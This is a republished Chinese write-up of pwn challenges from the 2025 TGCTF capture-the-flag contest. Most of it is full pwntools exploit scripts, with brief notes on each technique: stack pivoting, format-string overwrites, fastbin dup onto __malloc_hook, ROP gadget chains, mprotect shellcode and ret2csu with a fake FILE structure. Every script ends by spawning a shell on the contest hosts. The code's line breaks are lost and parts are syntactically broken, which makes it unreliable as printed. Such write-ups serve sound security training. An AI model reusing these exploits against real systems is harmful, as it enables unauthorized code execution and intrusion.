#!/usr/bin/env python3from pwn import *context(arch = "amd64" , os = "linux" , log_level = "debug")io = process("./pwwn")io = remote("node1.tgctf.woooo.tech",30847)'''io = gdb.debug("./pwwn","""decompiler connect ida --host 192.168.132.84 --port 3661                            b *0x4012bf                            c""")'''bss                         = 0x404060leave_ret                   = 0x000000000040122bbin_sh                      = 0x404108payload1                    = p64(0) + p64(0x4011B6) + b"x11"*(0x4040A0-bss-0x10) + p64(0x3b) + p64(bin_sh)io.sendafter(b"name",payload1.ljust(0xa8,b"x00"))payload2                    = b"A"*0x40 + p64(bss) + p64(leave_ret)io.sendafter(b"what dou you want to say?",payload2)io.interactive()
fmt
  • 格式化字符串漏洞,直接改掉printf的返回地址,可以实现无限次漏洞
  • leak得到libc_base加上最开始得到的stack_base,改stack上返回地址为onegadget即可
Exp:
#!/usr/bin/env python3from pwn import *context(arch = "amd64" , os = "linux" , log_level = "debug")io = process("./pwn")io = remote("node1.tgctf.woooo.tech",30289)'''decompiler connect ida --host 192.168.132.84 --port 3662io = gdb.debug("./pwn","""decompiler connect ida --host 192.168.132.84 --port 3662                        b main                        c                        b *0x401271                        c""")                        #b *0x401271                        #c                        #b *0x401214                        #c""")'''elf                         =  ELF("./pwn")libc                        =  ELF("./libc.so.6")main                        =  0x4011BBio.recvuntil(b"your gift 0x")stack_base                  =  int(io.recvn(12),16) - 0x1ff40success(f"stack_base        => {hex(stack_base)}")printf_ret                  =  stack_base + 0x1ff38success(f"printf_ret        => {hex(printf_ret)}")payload                     =  b"%" + str(main&0xffff).encode() + b"c%8$hn"payload                     += b"%3$p" + b"A"payload                     += p64(printf_ret) + p64(elf.got["puts"])io.sendafter(b"name",payload.ljust(0x30,b"x00"))#libc_base                   =  u64(io.recvuntil(b"x7f")[-12:-6].ljust(8,b"x00")) - 0x1f12e8#libc.sym["puts"]io.recvuntil(b"0x")libc_base                   =  int(io.recvn(12),16) - 0x10e1f2#libc.sym["puts"]success(f"libc_base         => {hex(libc_base)}")printf_ret2                 =  stack_base + 0x1ff68 - 0x90onegadget                   =  libc_base + 0xe3b01payload2                    =  b"%" + str(main&0xffff).encode() + b"c%8$hn"payload2                    += p64(onegadget)[3:]payload2                    += p64(printf_ret2) #+ p64(0x404020) + p64(0x404020)#payload2                    += b"%" + str(onegadget&0xffff0000).encode() + b"c%8$hn"#payload2                    += b"%" + str(onegadget&0xffff00000000).encode() + b"c%8$hn"#payload2                    =  b"A"payload2                    =  payload2.ljust(0x30,b"x00")io.sendafter(b"name",payload2)success(f"stack_base1       => {hex(stack_base)}")success(f"onegadget         => {hex(onegadget)}")success(f"onegadget         => {hex(onegadget&0xffff-((onegadget>>16)&0xff))}")success(f"onegadget         => {hex((onegadget>>16)&0xff)}")success(f"mid               => {hex(onegadget&0xffff)}")ret_addr                    =  stack_base + 0x1fee8num_mid                     =  (onegadget>>16)&0xffnum_low                     =  onegadget&0xffffoff                         =  num_low-num_midsuccess(f"num_mid           => {hex(num_mid)}")success(f"num_low           => {hex(num_low)}")success(f"off               => {hex(off)}")payload3                    = b"%" + str(num_mid).encode() + b"c%11$hhn"payload3                    += b"%" + str(off).encode() + b"c%10$hn"payload3                    = payload3.ljust(0x20,b"x11")payload3                    += p64(ret_addr) + p64(ret_addr+2)io.sendafter(b"name",payload3.ljust(0x30,b"x00"))success(f"libc_base         => {libc_base}")#gdb.attach(io)io.interactive()
Heap
  • 全局变量name与储存堆指针位置相邻,构造fake fastbin chunk,控制堆指针,虽然无法二次改写 但是可以free任意地址,在name变量中构造unsortedbins chunk然后free掉fake chunk进入unsortedbins,可以获得libc基地址
  • 再次fastbin dup改malloc hook为onegadget即可
Exp:
#!/usr/bin/env python3from pwn import *context(arch = "amd64" , os = "linux" , log_level = "debug")#io = process("./pwwn")io = remote("node1.tgctf.woooo.tech",30746)'''io = gdb.debug("./pwwn","""decompiler connect ida --host 192.168.132.84 --port 3662                            b *0x400B67                            c                            b *0x400AB3                            """)'''elf = ELF("./pwwn")libc = ELF("./libc.so.6")defmune(choice):    io.sendlineafter(b"exit",str(choice).encode())defadd(size,content):    mune(1)    io.sendlineafter(b"size?",str(size).encode())    io.sendafter(b"else?",content)deffree(idx):    mune(2)    io.sendlineafter(b"delete?",str(idx).encode())defedit_bss(content):    mune(3)    io.sendafter(b"name?",content)bss = 0x6020C0io.sendafter(b"name?",p64(elf.got["free"])+p64(0x71)*0x19)for i in range(3):    add(0x60,b"A")free(0)free(1)free(0)fake_chunk_addr = 0x602180add(0x60,p64(fake_chunk_addr))add(0x60,b"A")add(0x60,b"A")add(0x60,p64(0)+p64(0x21)+p64(bss+0x10+0x20)+p64(bss+0x10))payload1                        = flat({0:                      0,0x8:                    p64(0x21),0x20+0:                 0,0x20+0x8:               0x91,0x20+0x90:              0,0x20+0x98:              0x21,        },filler = b"x00")edit_bss(payload1)free(0)edit_bss(b"x11"*0x2f+b"x22")io.recvuntil(b"x11x22")libc_base                       = u64(io.recvn(6).ljust(8,b"x00")) - 0x3c4b78malloc_hook                     = libc_base + libc.sym["__malloc_hook"]onegadget                       = libc_base + 0xf1247success(f"libc_base             => {hex(libc_base)}")free(2)free(3)free(2)edit_bss(p64(0x71)*0x1a)add(0x60,p64(0x602180))add(0x60,p64(0x602180))add(0x60,p64(0x602180))payload2                        = b"A"*0x10 + p64(malloc_hook-0x23)add(0x60,payload2)free(4)free(5)free(4)add(0x60,p64(malloc_hook-0x23))add(0x60,p64(malloc_hook-0x23))add(0x60,p64(malloc_hook-0x23))add(0x60,b"A"*0x13+p64(onegadget))mune(1)io.sendlineafter(b"size?",b"1")#gdb.attach(io,"""decompiler connect ida --host 192.168.132.84 --port 3662#                """)#edit_bss(p64(elf.plt["puts"]))#free(0)#add(0x80,b"A")#0#add(0x80,b"A")#1#add(0x80,b"A")#2##def free(idx):##    mune(2)##    io.sendlineafter(b"delete?",str(idx).encode())#for i in range(3):#    free(i)#payload1 = p64(0) + p64(0x91)#payload2 = p64(0) + p64(0x91)#add(0x70,b"A")#4#add(0x80,payload1)#5#add(0x80,payload2)#6##free(1)#add(0x20,b"A")##free(5)#free(4)#free(3)##payload3 = p64(0) + p64(0x21) + b"x00"*0x20 + p64(0) + p64(0x61) ##add(0x80,payload3)#add(0x18,p64(elf.got["puts"]))#gdb.attach(io)io.interactive()
Noret 
  • 输入隐藏选项4,拿到stack地址
  • 发现add rax,rdi,以此为基础寻找gadget控制rsi,rdx,最终无法控制rdi,选择使用execveat(,/bin/sh,0,0)
Exp:
#!/usr/bin/env python3from pwn import *context(arch = "amd64" , os = "linux" , log_level = "debug")io = process("./pwwn")io = remote("node1.tgctf.woooo.tech",30734)'''io = gdb.debug("./pwwn","""decompiler connect ida --host 192.168.132.84 --port 3662                            b *0x40103B                            c                            b *0x4010c1                            c                            b *0x4010fd                            """)'''defmune(choice):    io.sendlineafter(b">",str(choice).encode())mune(4)stack_base                  = (u64(io.recvn(7).ljust(8,b"x00"))>>8# 0x7fffffffe058success(f"stack_base        => {hex(stack_base)}")mune(2)# 0x000000000040100f: pop rsp; pop rdi; pop rcx; pop rdx; jmp qword ptr [rdi + 1]; # 0x000000000040101b: mov rsi, qword ptr [rcx + 0x10]; jmp qword ptr [rdx];# 0x0000000000401010: pop rdi; pop rcx; pop rdx; jmp qword ptr [rdi + 1];# 0x0000000000401024: add rax, rdx; jmp qword ptr [rcx];payload_addr                =  stack_base - 0x100syscall                     =  0x00000000004010e0payload                     =  p64(0x000000000040101b) + p64(0x0000000000401010) + p64(0x0000000000401024)payload                     += b"/bin/sh"payload                     =  payload.ljust(0x28,b"x00") + p64(syscall) + p64(payload_addr+0x18)payload                     =  payload.ljust(0x40,b"x00")payload                     += p64(payload_addr-1)payload                     += p64(payload_addr+0x30-0x10) + p64(payload_addr+8)payload                     += p64(payload_addr+0x10-1) + p64(payload_addr+8) + p64(0x142-0x1d)payload                     += p64(payload_addr+0x28-1) + p64(0) + p64(0)payload                     =  payload.ljust(0x100,b"x00")payload                     += p64(0x000000000040100f)payload                     += p64(payload_addr+0x40io.send(payload)#io.send(b"echo aaaa")io.interactive()
Shellcode
  • 执行前设置了该地址只有可执行权限,幸运的是rdi是12字节对齐,选择使用mprotect函数恢复rwx权限,在syscall之后清零edi和eax,最后使用jmp跳回到syscall执行read,保证程序正常进行的情况下使用inc自增edx,循环多次后写入最终shellcode即可
#!/usr/bin/env python3from pwn import *context(arch = "amd64" , os = "linux" , log_level = "debug")io = process("./pwwn")io = remote("node2.tgctf.woooo.tech",30627)'''io = gdb.debug("./pwwn","""decompiler connect ida --host 192.168.132.84 --port 3662                            b main                            c                            b *0x555555555212                            """)'''#void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);shellcode = asm('''add eax,0xaadd edx,0x7lea rsi,[rdi+0xa]syscallxor edi,edixor eax,eaxjmp rsi''')shellcode2 = asm('''lea rbp,[rdi+0xa]        ''')success(disasm(shellcode2))success(disasm(shellcode))io.sendafter(b"show",shellcode)shellcode3 = asm('''syscallinc edx''')for i in range(100):    sleep(0.1)    io.send(shellcode3)#gdb.attach(io,"""decompiler connect ida --host 192.168.132.84 --port 3662""")shellcode4 = asm('''mov rsp,fs:[0x300]push 0x68732f2fpush 0x6e69622fmov rdi,rspxor rsi,rsixor rdx,rdxpush 59    #push 0x3bpop raxsyscall''')shellcode4 =  asm('mov rsp,fs:[0x300]')shellcode4 += asm(shellcraft.sh())io.send(b"AA"+shellcode4)io.interactive()
onlygets
只有孤零零的 gets,我该怎么做才能回应他……
傲娇的他说不出任何话,只是一味的聆听我们那无谓的只有诉说没有回应的话语(没输出)
但我们发现,当没和 gets 进行一次交互,他就会在栈上留下有关 “家” 地址的信息(残留 libc)
UKY 2025TGCTF WP
这个紫色的 _IO_2_1_stdin 是他留给我们最后的善良(可以结合 csu 中 call 寄存器偏移利用)
为了找寻他的秘密,我们必须把他带到熟悉的地方进行作案(通过栈迁移把栈迁移到 bss 段上)
懒得编了,执行一次 gets 后我们就在 bss 上残留了地址,由于没有随机化,地址可以轻易找到位置,这意味着我们可以直接想办法,围绕这个地址前后使用 gets 进行写,构建一个 ret2csu 的攻击链,将残留地址放在 pop r12能控制的地方,在这之后,我们就要考虑泄露 libc 或者是 直接取得 shell 的方法,由于 call 的是方括号地址,所有我们需要找一个存地址的地址,符合条件的有 libc got 和虚表指针,前者没有合适的,后者可以偏移到 _IO_file_write 的指针,我们只要计算两者的偏移,写到 rbx 上,在随便找个地方写一个 file 结构体,使得 fileno 为 stdout 并能过检测,把结构体,起始地址和长度作为参数写入 csu 链子,栈迁移在迁移到链子,执行泄露 libc,剩下怎么玩弄就看能整多大活了,反正 gets 不限输入随便整
#!/usr/bin/env python3'''    author: the lover of g♥e♥t♥s    time: 2025-04-13 00:37:07'''from pwn import *from LibcSearcher import *import osimport sysimport timefrom ctypes import *# For localfilename = "vuln_patched"libcname = "/home/lufiende/Tools/CTF/Pwn/Glibc-pkgs/2.35-0ubuntu3.9/amd64/libc6_2.35-0ubuntu3.9_amd64/lib/x86_64-linux-gnu/libc.so.6"# For remotehost = "node2.tgctf.woooo.tech"port = 30434# For dockercontainer_id = ""proc_name = ""# For GDBisAttach = 0gdbscript = '''b mainset debug-file-directory /home/lufiende/Tools/CTF/Pwn/Glibc-pkgs/2.35-0ubuntu3.9/amd64/libc6-dbg_2.35-0ubuntu3.9_amd64/usr/lib/debugset directories /home/lufiende/Tools/CTF/Pwn/Glibc-pkgs/2.35-0ubuntu3.9/amd64/glibc-source_2.35-0ubuntu3.9_all/usr/src/glibc/glibc-2.35'''# For Elf infofilearch = 'amd64'context.log_level = 'debug'context.os = 'linux'context.arch = filearchcontext.terminal = ["/mnt/c/Windows/System32/cmd.exe"'/c''start''wsl.exe']# Load the binaryelf = context.binary = ELF(filename)if libcname:    libc = ELF(libcname)# Set up start functiondefstart():if args.ATTACH:global isAttach        isAttach = 1return process(elf.path)elif args.GDB:return gdb.debug(elf.path, gdbscript = gdbscript)elif args.REMOTE:return remote(host, port)elif args.DOCKER:import dockerfrom os import path        io = remote(host, port)        client = docker.from_env()        container = client.containers.get(container_id=container_id)        processes_info = container.top()        titles = processes_info['Titles']        processes = [dict(zip(titles, proc)) for proc in processes_info['Processes']]        target_proc = []for proc in processes:            cmd = proc.get('CMD''')            exe_path = cmd.split()[0if cmd else''            exe_name = path.basename(exe_path)if exe_name == proc_name:                target_proc.append(proc)        idx = 0if len(target_proc) > 1:for i, v in enumerate(target_proc):                print(f"{i} => {v}")            idx = int(input(f"Which one:"))import tempfilewith tempfile.NamedTemporaryFile(prefix = 'cpwn-gdbscript-', delete=False, suffix = '.gdb', mode = 'w'as tmp:            tmp.write(f'shell rm {tmp.name}n{gs}')        print(tmp.name)        run_in_new_terminal(["sudo""gdb""-p", target_proc[idx]['PID'], "-x", tmp.name])return ioelse:return process(elf.path)defdbg():if isAttach:        gdb.attach(io, gdbscript = gdbscript)    sleep(0.2)io = start()######################### Your Code Here ########################## [*] '/mnt/f/CTF_Problems/2025/2025.04-TGCTF/onlygets/docker/src/vuln'#     Arch:       amd64-64-little#     RELRO:      Full RELRO#     Stack:      No canary found#     NX:         NX enabled#     PIE:        No PIE (0x400000)#     Stripped:   No# 0xebc88 execve("/bin/sh", rsi, rdx)# constraints:#   address rbp-0x78 is writable#   [rsi] == NULL || rsi == NULL || rsi is a valid argv#   [rdx] == NULL || rdx == NULL || rdx is a valid envpleak_addr = 0x601158#_IO_2_1_stdin_bss_addr = 0x601030bss_addr1 = 0x601200bss_addr2 = 0x601400main_addr = elf.symbols['main']gets_plt = elf.plt['gets']gets_got = elf.got['gets']csu_mov = 0x400640csu_pop = 0x40065Acsu_call = 0x400649pop_rdi = 0x400663leave_ret = 0x4005FBiowrite_off = (int((0x7f0a524f8cb8 - 0x7f0a524fca00) / 8)) & 0xffffffffffffffffpayload1 = flat([b'a' * 0x18, csu_pop, 01, gets_got, 000, pop_rdi, bss_addr1, csu_call, b'a' * 56, main_addr])sleep(0.2)io.sendline(payload1)payload2 = flat([pop_rdi, bss_addr, gets_plt, main_addr])payload2 = payload2.ljust(0x200b'x00')payload2 += p64(main_addr)sleep(0.2)io.sendline(payload2)payload3 = flat([b'a' * 0x10, bss_addr1 - 8, leave_ret])sleep(0.2)io.sendline(payload3)payload4 = flat([b'a' * 0x10, bss_addr2 - 8, leave_ret]) // 二次迁移防止破坏 gets 的讯息sleep(0.2)io.sendline(payload4)payload5 = flat([b'a' * 0x18, csu_pop, 01, gets_got, 000, pop_rdi, leak_addr + 8, csu_call, b'a' * 56])payload5 += flat([csu_pop, 01, gets_got, 000, pop_rdi, leak_addr - 0x18, csu_call, b'a' * 56, pop_rdi, bss_addr, gets_plt, main_addr])sleep(0.2)io.sendline(payload5)payload6 = flat([bss_addr, 0x6011500x50, csu_mov, b'a' * 56, main_addr])sleep(0.2)io.sendline(payload6)log.info('Warn')payload7 = flat([csu_pop, iowrite_off, iowrite_off + 1])sleep(0.2)io.sendline(payload7)payload9 = p64(0) * 14 + p32(1) + p32(2)sleep(0.2)io.sendline(payload9)payload8 = flat([b'a' * 0x10, leak_addr - 0x18 - 8, leave_ret])sleep(0.2)io.sendline(payload8)libc_base = u64(io.recvuntil(b'x7f')[-6:].ljust(8b'x00')) - (0x7f9ab05b9a00 - 0x7f9ab039f000)log.success(f'libc_base: {hex(libc_base)}')payload10 = p64(0) * 2 + p64(0x601800) + p64(libc_base + 0xebd43)sleep(0.2)io.sendline(payload10)##################################################################io.interactive()

原文始发于微信公众号(UKFC安全):UKY 2025TGCTF WP

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月16日09:20:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   UKY 2025TGCTF WPhttps://cn-sec.com/archives/3962342.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息